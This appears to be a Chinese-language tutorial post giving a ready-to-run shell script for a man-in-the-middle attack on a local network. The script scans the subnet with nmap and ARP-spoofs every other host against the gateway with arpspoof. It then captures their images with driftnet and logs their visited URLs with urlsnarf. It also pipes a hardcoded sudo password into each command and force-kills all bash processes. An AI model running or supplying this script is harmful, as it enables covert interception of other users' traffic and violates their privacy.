1.新建image.sh文件
2.对文件赋权
chmod a+u+x image.sh
3.批处理内容
#!/bin/sh
################分界线################
#局域网在线ip集合
ips=`ifconfig eth0 | awk 'NR == 2 {print $6"/24"}' | xargs nmap -sP | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | sed -e ':label;N;s/\n/ /;b label'`
# 网关ip
gatewayip=`ip route | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}"| awk 'NR == 1 {print $0}'`
# 自己的ip
selfip=`ifconfig eth0 | awk 'NR == 2 {print $2}'`
# 循环执行操作
echo $ips;
################分界线################
echo "mx123456"|sudo -S sysctl net.ipv4.ip_forward
echo "mx123456"|sudo -S sysctl -w net.ipv4.ip_forward=1
#gnome-terminal --geometry=80x50+5+5 -x bash -c 'echo "mx123456"|sudo -S fragrouter -i eth0 -B1'
################分界线################
for ip1 in $ips
do
if test $ip1 != $selfip;
then
gnome-terminal --geometry=80x50+5+5 -x bash -c 'echo "mx123456"|sudo -S arpspoof -i eth0 -t '$ip1' -r '$gatewayip';exec bash;'
gnome-terminal --geometry=80x50+5+5 -x bash -c 'echo "mx123456"|sudo -S arpspoof -i eth0 -t '$gatewayip' -r '$ip1';exec bash;'
fi
done
################分界线################
selfdir="$(pwd)/driftnet/"
echo $selfdir
if [ ! -d $selfdir ];then
echo "mx123456"|sudo -S mkdir $selfdir;
echo "mx123456"|sudo -S chmod a+u+x $selfdir;
else
echo "mx123456"|sudo -S chmod a+u+x $selfdir;
echo dir exist;
fi
gnome-terminal --geometry=80x50+5+5 -x bash -c 'echo "mx123456" | sudo -S netstat -tlnp; sudo rm -rf /tmp/driftnet.pid; sudo driftnet -i eth0 -a -d '$selfdir';exec bash;'
################分界线################
gnome-terminal --geometry=80x50+5+5 -x bash -c 'echo "mx123456" | sudo -S netstat -tlnp; sudo urlsnarf -i eth0 >>$(pwd)/url.txt;exec bash;'
################分界线################
# 输入控制关闭所有终端
read -p "请您输入" NUM1
ids=`ps -ef | grep "bash" | awk '{print $2}'`
for id in $ids
do
kill -9 $id
done
################分界线################
4.备注
1.对于不存在的软件使用(apt-get install 软件名)安装对应的软件
2.批处理内容中的mx123456为对应的用户密码
3.执行命令的窗口为主程序,主程序输入任意字符即可停止程序
网友评论